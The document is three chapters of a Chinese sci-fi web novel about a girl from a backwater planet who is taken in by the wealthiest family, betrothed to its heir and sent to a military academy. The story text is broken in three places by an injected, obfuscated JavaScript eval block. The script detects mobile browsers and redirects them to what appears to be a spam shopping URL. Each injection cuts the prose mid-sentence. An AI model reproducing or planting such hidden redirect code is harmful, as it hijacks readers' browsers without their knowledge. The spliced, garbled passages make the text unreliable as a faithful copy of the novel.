《横刀[星际]》 1. 第 1 章 游戏降临的第207年。 一艘幻影级军用飞艇出现在新首都星的第七太空港,舱身上巨大的郁金香在虹光下闪着金光。 蹲守许久的记者们躁动起来,纷纷启动异能和装置,想要拍下一张飞艇内乘客的照片卖出大价钱。 只有专门运送冯家成员的飞艇才能喷绘独特的郁金香图案,这些飞艇的航线一直都很稳定,除了眼前这一艘——它从z83出发,直达新首都。 冯家为什么要去z83这种连名字都没有的偏远垃圾星不重要,重要的是那条传闻: 冯家带回来一个人。 在联盟开启的新时代里,大人物们收养垃圾星出身的孩子是风尚与潮流,他们以此展示团结和善良。 最多的像阿瓦隆星域的盖尔家,三代养子养女加起来可以开一家中型公司,最少的也会有一两个,这些幸运儿与原住民之间的爱恨情仇养活了联盟近四成的媒体。 身为联盟首富的冯家是个例外,明明子嗣稀少,却一个外姓孩子都没有收养。 冯家风评因此低迷,也不见冯家的家主有什么反应;结果现在没听说有什么大变故,冯家竟然突然改了主意? 被收养的人在洗干净后会很快公开露面配合媒体进行宣传,这些套路记者们都很熟悉了,因此敢在这里偷拍想抢个先机。如果是真正的冯家人在此,他们是不敢这样明目张胆的。 “靠!” “太狠了、呕——” 就在舱门打开,里面的人走出来的瞬间,一层附有屏蔽异能的协议镀层展开,不管是偷拍的是异能还是机器,都只捕捉到了一片繁杂到让人痛苦的彩色。 飞艇旁,风行止收回望向远方的目光,没去管一旁脖子流汗的太空港负责人,转头露出一个标准的微笑: “凌小姐,欢迎来到新首都。” 负责人赶紧擦了下脸上的汗,跟着挤出热情的笑意。 舱门里的凌一深吸一口气,向前迈步—— 她打了个趔趄。 眼看就要用脸和新首都进行第一次亲密接触,风行止伸手把她扶正,表情不变语气柔和: “旅途疲惫,您很快就可以回家了。” 回家。 凌一的家在洛林星域z83星球的南极区,由十六块标准田和一栋制式家庭房屋组成,屋外一直有耕地机劳作的声音,凌家的耕地机和凌一一样大,是她出生的时候农业部门送来的新生儿补贴。 屋子不大,陈设简单,但该有的都有。一楼是客厅和餐厅,二楼是两个小房间,凌一房间里的家具是她由亲手制作,床是新换的,躺在上面,可以看到凌焰每天出门的身影。 凌一舔了下唇,把手臂从风行止的手里扯出来,低头让刘海遮住眼睛。 从z83到这里一共是九天的行程,风行止已经熟悉她这幅半死不活的德性了,直接对着旁边人安排下去。 冯家,联盟首富,游戏降临后第一代家主凭借复制异能立足医疗行业,之后站队正确,深入参与复制士兵产业,与军方建立了密不可分的联系。 第二代家主冯冬荣着手产业转移,将冯家的重心逐渐从医疗行业转向星球开发和环境保护,她重病后其丈夫冯晴接手家族,冯家自那时起逐渐变得低调。 这是在通往冯家主宅路上风行止简单给凌一介绍的内容,z83提供最基础的教育,但其中不包括首富家的产业组成,凌一对冯家的认知只有流行八卦: 豪富、貌美。 冯家历代都好看,到这一代,冯冬荣和冯晴的孙子,冯斯澜,更是美出新境界,被誉为联盟第一美人。 不过美人多薄命,冯家当前只剩下这祖孙三个。 凌一安静地听风行止名为介绍实则夸耀的话,和之前九天一样,脸上极少有表情出现。 九天,最开始的故作高深没能让凌一表现出恐惧,后面的体贴善良也没有让凌一打开心扉。 如果不是凌一的智商测试结果正常,风行止会怀疑她是一个反应迟钝的智障。 不起眼的黑色头发,褐色瞳孔,五官精致,但被无神的眼睛和僵硬的表情拖累,看不出青春的风采和美丽。 风行止知道冯晴为什么要这个女孩,也准备好了十几套谎言准备应付她,可惜这些精彩的说辞烂在肚子里也没有等到出场机会。 凌一没有问过冯家的事,风行止拖延着,直到快到主宅才败下阵来,为她简要介绍以后的家。 陆行器穿过一片红绿交错的密林,远处的地平线上,一栋苍白的城堡静静矗立。 到达后,凌一被带到一间有她家十倍大的餐厅,两个温柔的男仆为她送上可口的饮品和餐点,她简单吃了两口这些只在星网视频里见过的美味后,被一个管家样的女人带去更私密的房间。 流程已经很熟悉了,提取血液、皮肤组织,拍摄各种透视影像。 “我叫阵羽,”最后进门的粉色头发男人大概以为她害怕,出言安抚道,“不用紧张,只是最基本的检测。” 凌一坐在医疗台上晃了下腿。 阵羽有一张娃娃脸,活泼讨喜,他递过来一颗糖,凌一含进嘴里,发现竟然是辣的! 她鼓起腮帮子,眉头紧皱,阵羽轻轻握住她的手。 一股冰凉的感觉沿着两人肌肤接触的地方蔓延而上,直达眼部,凌一用力咬碎糖果,果然,凉意缓解了一些。 大约三秒后,阵羽眼睛里的赤红色褪去,凌一冷不丁开口: “你是识别者?” 游戏降临后人类觉醒了异能,但由于游戏并没有同时赐予“详情页面”或者说面板,所以每个人并不能知道他人的异能是什么样。 只有拥有识别异能的人可以辨识、描述出其他人的异能,这种异能非常珍贵,因为大多数人往往对自己的天赋一知半解。 比如有人以为自己可以生产冰块,实则她的能力是既有可能是【调控局部空间温度】,也有可能是【将一定量的水凝固成冰】,这前后的差距就是识别者的价值所在。 识别异能的出现概率很低,识别者们出生后就会被军方或官方或大企业签走。 一般人离识别者最近的时候是刚出生;联盟规定,新生儿一出生就会接受异能鉴定,这个鉴定是由复制了识别异能的机器完成。这种机器的能力很粗浅,与真正的识别者不能相提并论。 凌一还是第一次见到教科书里的异能。 阵羽点头:“‘识别者’是统称,事实上能辨别异能的能力有很多种,我是通过接触来渗透,”他挠了下下巴,“有点不好解释,总之,你的——” 管家在旁边轻轻咳了一声,阵羽闭上嘴巴,他皱起眉,但没有抗议,对着凌一点了下头就离开了。 “凌小姐,”管家向凌一伸出手,“请跟我来。” 最重要的一关过去,接下来是外貌改造,凌一在理发的时候不小心睡着了,醒来时她泡在一个超大的水池里,左右各有一男一女的美甲师正在为她打理指甲。 凌一全身都是酥的,她在温暖的水里漂浮,心神再次昏沉,就在她还差一秒沉入梦乡之际,风行止的声音响起来: “礼物送给你了,不试试看吗?” 礼物是最新款光脑,风行止说已经在她身上了。 z83的光脑还停留在手腕处折叠的固体装置,中心星域的新产品已经迭代到可以装备于视网膜和耳骨上了。 这东西叫神经连接器,是光脑接收端的最新形态,输出端有配套的手持设备,风行止一并放在水池边。 凌一按照风行止介绍的方式眯了下眼睛,视野中立刻亮起一块大概四掌大的屏幕,她的眼球颤动,无意中点击开一个熟悉的软件,眼前立刻就被刷出来的众多弹窗挤满了。 《官方发布最新数据,前线胜率再次增长。》 《守光执政官:为什么我们终将战胜虫族。》 《服用以下十种食物,可以提高后代读心异能觉醒概率。》 《第八届联赛周边大甩卖,机甲模型九点五折起!》 《望舒夺冠!我们没有提前准备好发言稿》 《达里乌斯发声称五人皆是自己真爱,但暂无结婚打算》 《冯斯澜沙滩照,用生命担保不是AI ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097095|195669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 》 《采访一百位读心者父母,他们做对了什么?》 《血肉采集员不想让你知道的十个秘密。》 《巫慢情人大汇编,你离黑王的爱宠之位还差多远?》 《哥哥还是弟弟——安迪珍的最终婚姻抉择》 …… 画面伴随声音的冲击太大,凌一差点滑进水里,两边美甲师赶紧拉住她,好悬保留住他们辛苦努力的成果。 感谢八卦的魅力,凌一在阅读中很快适应了新光脑,旧的那个离开z83的时候就以安全检查名义从她身边拿走了,风行止一直不说给她还给她,凌一还以为自己要被囚禁起来了。 新光脑已经和她绑定,通讯记录里除了广告就是不熟的同学发来的寒暄,被冯家看中、带走培养,是z83人想都不敢想的好运气,凌一身价倍增,“朋友”也一夕之间多了起来。 凌焰没有发来通讯请求,连一条问好的短讯都没有。 凌一谈不上失望,凌焰性子一贯如此。 银钱两讫,冯家以贷款和赞助的名义给了不菲的补偿金,凌焰拿了钱,自然不会再来理会这个她本就不想要的女儿。 凌一刷了一会儿新首都的特色新闻,身边的工作人员把造型也做好了。 没有化妆,只是简单把头发拉直、绑起来,换上长及脚踝的白色连衣裙,凌一被领到了应该是客厅的地方。 半间屋子都是透明的,浅紫的天际闪着微光,被染成银灰色的云海下,是一望无际的郁金香花田。 一个头发银白,看上年约三旬的男人坐在房间中心的沙发上,他的眼睛是极深的墨绿,宛如深潭,很容易让人迷失其中。 真实年龄为八十三的冯晴仔细把凌一从头看到尾,微微一笑,伸手请她坐下: “这里以后就是你的家了。” 凌一没有坐,她直接问道:“我需要改姓吗?” 冯晴不在意地说:“这取决于你。”他的眼睛很疲惫,但一点无损他的风采,凌一不由得想起刚刚看到的资讯,据说冯晴就是凭着这张脸才成功改姓嫁进冯家。 解决了最关键的问题,凌一自觉没什么要问的了,径直在冯晴侧面的沙发上坐下,端起一杯被风行止称为茶的饮料慢慢喝。 门口再次传来脚步声。 凌一有所预感地抬起头,撞进一双深蓝色的眼睛。 好漂亮的人! 最简单的白衬衫和黑色长裤,硬生生被他穿出俊美逼人的气势,衬衫扣子松开许多,露出光洁如玉的胸膛。 宽肩窄腰,剑眉星目,来人从身材到五官,竟是无一处不美。 联盟第一美人,冯斯澜。 这个曾经还嫌夸张的称号在凌一的脑海里无限放大,压得她有点呼吸困难。 人的品味各异,但绝对的美貌有着在基因层面的绝对统治力,凌一的目光不自觉的滑过冯斯澜的喉结、锁骨,再往下是那双长腿—— 新光脑弹出心动过速的警告,刺目的红色让凌一警醒过来,她垂下眼睛,咬住被烫到的舌尖。 “祖父,”冯斯澜忽略了旁边的凌一和她无礼的目光,“您叫我来有事?” 冯晴:“你刚从司家回来?” “是的,”冯斯澜道,“司夫人的情况不太好。” 凌一立刻回想起刚刚阅读的八卦,司家的女儿司南被很多媒体看好会嫁给冯斯澜。 冯晴皱眉:“不要在无关紧要的人身上浪费时间。” 冯斯澜没有争辩,他看了眼旁边的凌一:“这是……”一个微妙的停顿,“新妹妹、还是新姑姑?” 凌一怎么听怎么觉得很嘲讽,估计是因为司家的事,司家有一个养女,比司南大四岁,这位养女干了件十分不体面的事情: 她勾引了自己的养父,顺便把养母气病了。 凌一心想,自己以后躲着冯斯澜走好了。 谁知,冯晴否认了:“不是。” 凌一愣住,还没等她想出来这代表什么意思,就听冯晴用一种平淡却不容置疑的语气说道: “这是凌一,你的未婚妻。” 2. 第 2 章 一片寂静中,凌一被茶水呛到,咳嗽起来。 风行止没有提过这件事! 她得—— 她必须—— 她……能拒绝吗? 冯斯澜瞥了眼尴尬到快要钻进地缝的“未婚妻”,对冯晴道: “我需要一个解释。” 冯晴等凌一咳嗽完,才客气开口:“凌一,去跟玛德琳看看你的房间吧,有什么想增减的,直接告诉她就行。” 之前见过的管家在门口出现,原来她叫玛德琳。 凌一起身、离开,房间外的走廊有模拟的流水声,凌一很快冷静下来,然后突然想通了一个问题。 贴在眼球上的光脑一定会惊醒沉睡中的自己,但她没有,所以不是睡过去,是昏迷。 皮肤、血液、骨髓、脑脊液、基因样本,冯家合法合规从她这里拿走了一切,还有什么是需要在她不知情的情况下拿走的? 未婚妻…… 凌一低下头,冷淡地想,冯家一共取走了多少颗卵子? * “奶奶知道这事儿吗?她唯一的孙子要结婚了。” 冯晴摁了下额头:“怎么不继续装了?还‘祖父’,”他优雅地翻了个白眼,“当初把礼仪老师赶走的不知道是谁。” 冯家的爷孙俩对峙一样坐在沙发两边,冯斯澜冷笑:“从奶奶重病去迦南治疗开始,你就不怎么回家了。我们今年见面有三次吗?你好不容易回一次家,结果居然是操心我的婚事——我该说谢谢吗,亲爱的爷爷?” “已经没有时间了。” 冯晴的语气沉重的吓人。 冯斯澜:“……什么?” 他的问题没有得到回答,冯晴重新戴上微笑的面具,仿佛方才的失态是冯斯澜的幻觉: “这件事不会有改变,冬荣还不知道,但我会说服她的。” 冯斯澜:“我——” “只是结婚生子,”冯晴打断他,“你的妻子、未来孩子的母亲只能是凌一,至于其他的,我不在乎。 “不喜欢的话可以不碰她,甚至可以不见她,但你们会有孩子,所以我需要你到时候承担起父亲的责任。 “我会给凌一时间适应新生活,等她准备好,你们就成婚。 “就这样。我今天要回迦南,还有很多人要见,你出去吧。” 说完冯晴就不再看冯斯澜,他眼球颤动,显然已经开始处理其他事情了。 冯斯澜深呼吸,强压住怒火:“奶奶什么时候回来?她上次说病情已经稳定了。” “很快,”冯晴随意地说,“在你们结婚前,她一定会回来一趟的。” 冯斯澜起身就走,只可惜星际时代的门丝滑过头,他没办法通过摔门来表达心中的不满。 风行止是这个房间的第三位客人,冯晴没让她坐,直接问道: “有结果了吗?” 风行止全身都绷紧了,她用十二万分的谨慎回答: “z83是难民收容和移民中转星球,按照经纬划分为十九个区域——” “我要结果。”冯晴打断她。 风行止立刻改口:“对比进度已经到达32%,没有符合的基因型。” “她母亲怎么说?” “凌焰女士说当时只是春风一度,她不知道对方的姓名,时隔这么久,也记不清对方的脸了。”风行止小心地补充,“在可疑时间段内,z83的来往人员非常复杂;光是难民就接收过14批次,移民数量还未统计出具体结果。目前看来,凌一父亲出身其他星球的可能性很高。” 冯晴沉默一息:“第一例稳定遗传的虫化样本,父系还是很重要的,你继续查下去。” “是。” “祖里的事情查清楚了吗?” 风行止脸颊上的肌肉抽动了一下:“证据收集完毕,祖里违背销毁指令私自截留虫化改造液、并且利用z83进行人体实验,是为了换取长安星域明日星的永久居留权,和她交易的人有当地军方背景。” “你的人你来处理。”冯晴严厉地盯着风行止,“这是你的失误,你要收拾干净。” 风行止斩钉截铁答应了:“我马上启程去见乌法尔将军,祖里伏法后,我会主动申请降职。” 冯晴沉思片刻:“你过十天再去处理祖里的事,至于降职——你也不用琢磨去哪里更能将功赎过、东山再起,你就去凌一身边,你把她带回来,也算你们的缘分。” 风行止用力闭了下眼,她听见自己的心在滴血,从首富的左右手到一个灰姑娘的奶妈,这样的落差对一位极有野心的高管来说无异于跳悬崖。 她不会一直留在凌一身边的。 “是。”风行止低下头。 冯晴还嫌今天带来的炸弹不够多,继续用很平静的语气下猛药: “十天后,让她入学法洛斯,你用我的名义去见石闻。” 法洛斯,联盟第一军校。 一般人进入法洛斯需要经过笔试、面试、体能测试和异能测试四道门槛,能通过的都是意志坚定的顶尖天才。 天才只是入场券,入校后等待他们的是常人难以想象的残酷训练和选拔。法洛斯旨在培养人类顶尖战力,为了这个目的,任何牺牲都会被视作可接受的代价。 凌一,一个只接受过基础教育且成绩平平、根本没有接触过军事化专业训练的普通女孩。 虽然凌一不讨喜,但风行止还是为她争取了一下:“特训班明年招生。” 任何地方都有权力和财富留下的肮脏痕迹,法洛斯也不例外,每隔一年,特训班——也就是被民间戏称为“夫人班”的特殊班级会招收一次学生,学费高昂,且需要推荐信。 特训班学制只有两年,顶尖富豪会花天价把不成器的子女送进去镀金,根本目的是找到一个大有前途的配偶。 冯晴看了她一眼:“凌一的异能是辨别弱点,看来她已经打动你了。” 风行止浑身的汗毛都立了起来,抿紧嘴巴不敢再说话。 冯晴起身走到窗边:“九天,在一无所知前往另一个星域的漫长路程里,没有同伴,没有光脑,这样她都坚持着没有屈服,既没有精神崩溃举止失常,也没有对你五体投地事事听从。她很强硬,这很好,但她往后的生活不需要这份强硬。” 弱小者的强硬只是一个不好笑的笑话,凌一现在这副消极抵抗的模样既无法获得冯斯澜的尊重,也无法得到他的垂怜。 她大概还抱有一些愚蠢的幻想,法洛斯会打醒她的。 不是每个人都有成为强者的心性,早点认清楚自己的天赋有限,对凌一来说是好事,对冯家来说也是好事,她会成为一个心甘情愿、懂得感恩的太太,在冯家的庇护下过上安稳的生活。 冯晴了解自己的孙子,如果凌一能把自己低到尘埃里,冯斯澜就算不喜欢她,也会可怜她的。 “她第一次提出退学你拒绝,第二次她恳求你,你再同意,回来让她养两天就给她请礼仪老师,舞蹈、音乐、礼仪都要学,学识方面不急,面对公众让她提前背好稿子。” 天际线上出现一个暗金色的五边形,它升的越高,天色就越暗,冯晴没有去管视野里跳动的无数信息,而是专心注视着这颗过大的星星。 “如果她没有说要退学……”冯晴勾起唇角,又很快隐去这个淡到快要看不见的笑,“你就不要插手了。” 风行止不解,但还是应下。 “消息放出去了吗?” “按您的要求,所有媒体都通知到了。” 冯家的平静下暗藏汹涌,冯家之外,第一美人与无名小卒订婚的消息在极短时间内占据了几乎所有媒体头条。 所有人的注意力都被吸引在这桩突然且荒唐的婚事上,只有很少人关注到,207年联盟所有军校的女性入学人数,再创新高。 * 亲生女与养子、亲生子与养女、亲生子和养子、亲生女和养女,联盟成立已有92年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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207年前和异能同时出现的,就是每个人类望向天空时会出现的这些文字,它明示了游戏的存在,并且给出了一个明确的终点。 历史课上讲过,当时的人类欢欣鼓舞,以为中了头等彩票,他们把异能当做天赐的礼物,并没有把看起来无害的“游戏”放在心上。 异能出现的第19个小时,被人类勘明不存在生命的欧米茄星域出现大量虫群。 而直到第一个星球毁灭、整整九十亿人类死亡,游戏进度从0变成0.83%,人类才开始明白游戏的真相—— 人和虫,只有一方可以活到胜利终局。 游戏进度逐渐推进,四个榜单不断刷新,凌一和联盟其他年轻人一样,对上面的人名如数家珍。 榜单的每一次更新都会引起全人类瞩目,上一次单人战力榜首易名是在29年前,星网因此崩溃了整整31分钟。 排名在没有变化的时候不会受到太多关注,凌一却看得很认真。 这是她现在能接触到的、这里唯一和z83上相同的存在。 【战力榜-单人】 余怨 顾栖亚 陆弥安 维塔 苏临 周斐然 …… 凌一转动目光,从默读到出声: “战力榜-军团,第一名,常春藤874。” 余怨是常春藤874的团长,也是现任联盟最高指挥官,在他之前,联盟有过两位最高指挥官,分别是今川、梅洛尔。 三位最高指挥官是战场贡献榜-单人的前三名,排名为梅洛尔、今川、余怨。 “梅洛尔,生于降临历89年,异能为空间切割,所率军团名为皇帝。111年,梅洛尔首次定位王虫“深渊”所在坐标;114年,梅洛尔率皇帝军团阻止第五次星域战争;115年,梅洛尔向全人类发表题为《像虫子一样团结,人类才能赢得这场游戏》的演讲,同年,人类联盟正式成立……” 凌一的声音越来越小,她一字不差背诵着课本里的知识,终于蜷缩着睡着了。 3. 第 3 章 “……如果是我的话,”风行止眯起眼睛,她的瞳孔是非常漂亮的灰色,就是放在她那张仿佛被尺子比划雕刻出来的方正脸上,很容易被人忽视。 之前她的头发是亮橙色,在凌一到首都的第二天,就变成了和凌一发色相同的黑,“我会尽可能讨好一切我能接触到的人,不管是哭诉还是撒娇还是假装懵懂,我要他们喜欢我,这样我才能留下来、获得更好的待遇。” 风行止在过去的十天里每天都会出现在凌一面前,和她聊天,想尽办法知道她的喜好,然后满足她。 风行止是专业的,她很擅长满足客户的一切要求,但面对一丁点也不配合的凌一,连她也快要词穷了。 凌一对冯家的一切都缺乏兴趣,包括她的未婚夫,联盟第一的美人。 z83是个贫瘠穷困的小星球,来自那里的凌一和家乡一样落伍无趣。 新首都的最新影视已经可以接入嗅觉和触觉神经体验了,凌一所知道的还仅仅停留在AI定制上。新首都的流行话题凌一闻所未闻,说也说不出什么。 唯一能让凌一稍微动心的话题是联赛明星,风行止提出帮她要签名,也被拒绝了。 风行止实在是找不到话题,只好冒险进入一些危险领域: 比如,假如她处在凌一的位置,她会怎么做。 这是好心的提醒,也是隐晦的引导。 如果凌一能表现得像个正常的乖孩子,哪怕实则心机深沉甚至阴险毒辣,风行止也会比现在轻松许多。 凌一出招,她才能知道怎么应对;凌一不动,她就是想给凌一灌输道理都找不到入口。 现在她们正在一辆可以称作小型房间的陆行器里,正好经过一大片语棠,与镜面无异的花瓣在风中如水流动,凌一的眼睛睁大了。 新首都星在被选中时是因为靠近前线,方便军队驻扎。 这里自然条件并不优越,不过两个世纪发展下来,源自不同星域的美丽植物在异能者的帮助下,将这里换了一副模样。 车里长久的安静让风行止有些尴尬,她轻轻叫了一声凌一。 凌一转过脸,她从外表看已经看不出来是出身偏远星球了。 发丝柔顺,睫毛被染成金色,和脖颈上的郁金香吊坠相呼应。造型师将她往温柔恬静的风格塑造,现在的凌一就像一朵美而无害的花。 “我能问你个问题吗?”凌一终于开口。 风行止点头。 “你缴纳过血肉税吗?” 风行止闻言挽起左臂的袖子,在肘上三指的位置,有一个约拇指大小的黑色双螺旋纹身,必须要很仔细的看,才能看到下面十字型的浅色疤痕。 联盟法律规定,每个公民都有义务定期缴纳血肉税,十六岁有缴纳资格,十八岁后则是每五年必须缴纳一次。 被取走的血肉被用来在复制工厂里制作复制人,这些不被承认具有人权的复制品会作为炮灰被投入前线战场。 这是联盟最伟大的生产线,它不仅解决了人类繁衍过慢无法和虫族一样大量生产底层消耗士兵的问题,更重要的是,复制工厂让绝大部分民众远离了战争,使他们能过上一种远离死亡、相对安逸的生活。 梅洛尔曾经说过,和在战场上厮杀同样重要的是歌舞与电影,不是每个人都能承受无休止的死亡压力,创造出一个安稳环境,是人类文明向前发展的必需。 凌一在脑子里复习曾经学过的内容,她一直很喜欢背书,之前背书可以让她暂时脱离于家庭,现在则是能让她找回曾经的感觉,不至于迷失于全然的陌生中。 也能让她忘记自己此刻有多紧张。 血肉税每次都能换来一大笔钱,其中一半作为医保,另一半可以预存为养老金,也可以直接拿到手。 除了每个人必须履行的义务,联盟还会不时发布征集特定异能的通告,额外缴纳联盟需要的异能,到手的钱可以翻倍。 这是一大笔钱,在z83,这种能赚大钱的机会是需要行贿才可以得到的。 凌一去年满十六岁,正好联盟特别需要一批直觉类异能,她原本是打算给自己的未来赚一笔钱的,结果有个家伙花钱顶替了她的名额。 “一次,三十九年前。”风行止把袖子放下,“我被复制了三次,每一次都死的很快,我当年的直觉是正确的,我不适合作战,这里——”她在两人之间画了个圈,“才是我的舒适区。” 风行止的异能是屏蔽,此类异能属于基因彩票,新生儿如果觉醒这样的异能,全家人都可以直接庆祝未来的富足生活了。 屏蔽在教科书里被分为两个方向,民用和军用,军用需要极为庞大的精神力作为基础,且需要非常高的异能操作技巧。民用是更受欢迎的发展方向。 秘书和管理,尤其是前一种职业,在游戏降临后已经被屏蔽异能者统治了。 风行止是首富身边的人,她的屏蔽级别很高,可以在无意识状态下阻拦读心者。 这样的“上等人”,自然看不起那点保险金,也自然能找到方法避税。 风行止听凌一说完,无所谓地笑笑:“这里和z83有很多不一样的地方,你可以慢慢发掘。” 凌一没接话,窗外又出现了新的风景,名为珀树的植物能分泌琥珀色的树脂,枝叶是燃烧一样的火红,远远望去就令人心神一震。 陆行器已经接近第一太空港,风行止向前倾身,声音认真: “凌一,你随时可以选择退学,只要告诉我,我就来接你回家。” “你说过很多次了。” 两句话的功夫,绘有郁金香的陆行器已经引起太空港周围媒体的注意,数不清的或大或小、或飞或跑的媒体载具狂蜂一般朝这边涌来。 风行止的异能从和凌一见面开始就作用在她身上,所以凌一不会受到千里之外诅咒的影响,也不会被各种感知类的异能窥探到。 这件事风行止已经告诉凌一,但在数量如此之多的兴奋双眼前,凌一还是感受到了窒息。 风行止也在看这些黑漆漆的镜头,她轻声道: “隐私,是联盟富人缴纳的一种特殊税款。” 凌一:“我是富人吗?” 风行止立刻给她发了一份财产清单,上面有各种凌一闻所未闻的不动产名目。 “这是我的?” 风行止客观道:“你只有使用权,即便如此,这也是很可观的财富。” 可惜这些东西也没起到太多作用,凌一离家后第一次露出明显的胆怯和畏惧,已经有镜头伸到陆行器的窗边,她的喉咙干的厉害。 风行止爱莫能助,凌一今天是一定要露面的,而且表现如何无所谓。冯晴明确说过,就算她吐了、或者昏倒,也要在公众面前。 “喂,”风行止让脸色发白的凌一看向自己,“我的弱点是什么?” 凌一吞咽了一下,总算让出口的话没有颤抖: “脖子、心脏还有眼睛。” 风行止差点失去表情管理:“什——” 你的异能不是这么用的。她想这么说,但看着凌一发抖的手指,话到嘴边转成另外一句: “你很幸运,”风行止尽可能温柔地说,“法洛斯会让你如获新生,那儿是每个人类的梦想,我看的所有重生文的主角都要去法洛斯上学。” 凌一笑不出来。 风行止甩掉这个失败的笑话,轻轻拍了下凌一的手背: “不需要付出任何代价,你永远有放弃的选择。” 凌一的手奇迹般的停止了颤抖。 门向双侧滑开,风行止先一步走出,弯腰用无比恭敬的姿态请出凌一。 嘈杂和无数闪光填满凌一的感官,她木然向前走去,耳边是各种各样混乱的提问。 “你是靠什么嫁入冯家?” “您与冯晴有私情吗?” “您为什么不加入特训班,是为了更早与冯斯澜培养感情吗?” “凌一,笑一个!” “你的入学是否证明了法洛斯并非净土?” “富豪孟栖伦两次杀妻至今仍逍遥法外,他的妻子都出身普通——你担心自己的生命安全吗?” “凌一!不笑就哭一个!” “有传闻您是冯晴的私生女,您对此有所回应吗?” 经过十天的讨论,关心此次婚事的网民大致得出了基本的结论:凌一的秘密身份一定和冯晴有关。 不然不能解释他为什么如此激进。 有猜凌一是失落的真千金、冯斯澜是个抱错的小可怜假少爷的——这是冯斯澜黑粉提出的; 有猜凌一是冯晴在外偷偷找人生的私生子——这是冯晴的黑子; 还有猜凌一是冯晴的秘密情人,他碍于妻子还在,就以孙媳妇的名义让她嫁入冯家——这种是心理阴暗报复社会者唯恐天下不乱提出来然后被冯家政敌炒作起来的。 综合以上三种较为极端的言论,目前最受认可的猜测有两种: 理智派认为凌一是某位大人物不可告人的私生子,这位大人物用利益交换,令冯家给她富足的生活。 浪漫派则猜测凌一是冯晴白月光的后代,所以哪怕是牺牲亲孙子,冯晴也要让凌一获得幸福。 “凌一,凌焰是你的生母还是代-孕者?!” 一声凄厉的尖叫令凌一的脚步微顿,记者们全都嗅觉灵敏,当下立刻兴奋吠叫起来,更加不堪的诋毁和猜测蜂拥而至。 从冯家的陆行器到法洛斯新生集合点一共是39步。 风行止站在原地,注视着凌一纤薄的背影。 这个身影和十九天前她第一次见到的凌一重合了。 在z83临启程前,凌一最后一次被凌焰拥抱,然后也是用这样似乎马上就要退缩、但却从未停止向前的脚步来到风行止身边。 在这两次短暂的孤独的路途中,凌一都没有回头。 * 第一太空港是法洛斯专用,专门设计了很大的广场来容纳军队,平时这里是不开放的,只有每年的开学季会短暂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097097|195669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 允许外人进入。 和其他太空港的热闹繁华不同,这里一切都很简单,简单的颜色,简单的线条,让这个空旷的地方显得十分肃穆。 踏入法洛斯新生集合点的瞬间,凌一立刻感到身上有什么东西被吹走,另一层更冷冽的东西取而代之。 这应该就是风行止所说的法洛斯学生专属屏障了。 记者们喧闹的声音淡去,但打量的目光并没有减少。 人类当前仅剩人口数量接近千亿,其中16-19岁人口约占10%,而法洛斯每年在全联盟的适龄人口中只招收五万名学生。 今年没有特训班,在一群靠自己厮杀出来的佼佼者里,据说凭借钞能力入学的凌一自然备受瞩目。 这些打量并不是善意的。 尖刻的目光已经足够难以忍受,对凌一来说,她还有另一种新鲜的恐惧。 她从没有见过这么多人。 z83南极区的孩子每学期只需要去学校一个月,除开这一个月的军事训练,剩下学习、包括考试都是在AI帮助监督下完成。 就算去上学,凌一在军训的时候最多也只见过30多人。 而现在,足足有五万人——五万个活生生、会发出细小噪音、会辐射出温度的人就在她眼前,凌一眩晕、眼花,还想吐。 她攥紧拳头忍耐反胃的感觉,低头想走到一个相对人少的角落,谁料刚迈步就被拦住。 拦路之人身着黑色的联盟军服正装,腰被白色皮带勒的很窄,凌一麻木地向上抬眼,看见一张温和的笑脸。 偏棕色的金发,琥珀色的眼睛,面容英俊,气质柔和,是个看起来没有任何攻击性的男人。 凌一松了口气,她感觉好点了: “你是接引AI?” 男人愣了一下,抿唇又笑:“我是简维安。” 凌一的话很没礼貌,他的回答则是莫名其妙。 简维安伸出手,凌一机械地握上去—— 温暖的,粗糙的,软中带硬的,活人。 凌一唰一下收回手,捂住自己的嘴,眼神疯狂在周围寻找着什么。 简维安立刻收起笑,蹙眉不到一秒就露出恍然的神色。 “临夏,帮个忙。” 和简维安有些莫名的话一起落下的,是细密的雨丝,凌一被这突然的变故惊住,连身体的不适都暂时忘了。 雨丝细密,落在身上了无痕迹。简维安向前一小步,再次牵起震惊到忘记反抗的凌一的手。 “这是临夏的异能,”他关切地望着凌一,“你看,那些人都不见了。” 雨幕之中,只有凌一和简维安相对而立,记者、新生,凌一很清楚这些人没有消失,但她在这一刻的确感受不到他们了。 “看着我、深呼吸。”简维安动作夸张地做起示范,凌一的身体和大脑已经断联,她紧跟着这唯一的指令,看着眼前唯一清晰的人。 耳鸣开始缓解,心跳也渐渐平复,在令人安心的寂静里,凌一找回了自己的呼吸。 见凌一的脸色不再惨白,简维安才礼貌地放开她的手:“肢体接触有助于缓解紧张和过度恐慌,刚才我看你情况不太好,没有来得及说一声,不好意思。” 凌一摇摇头。 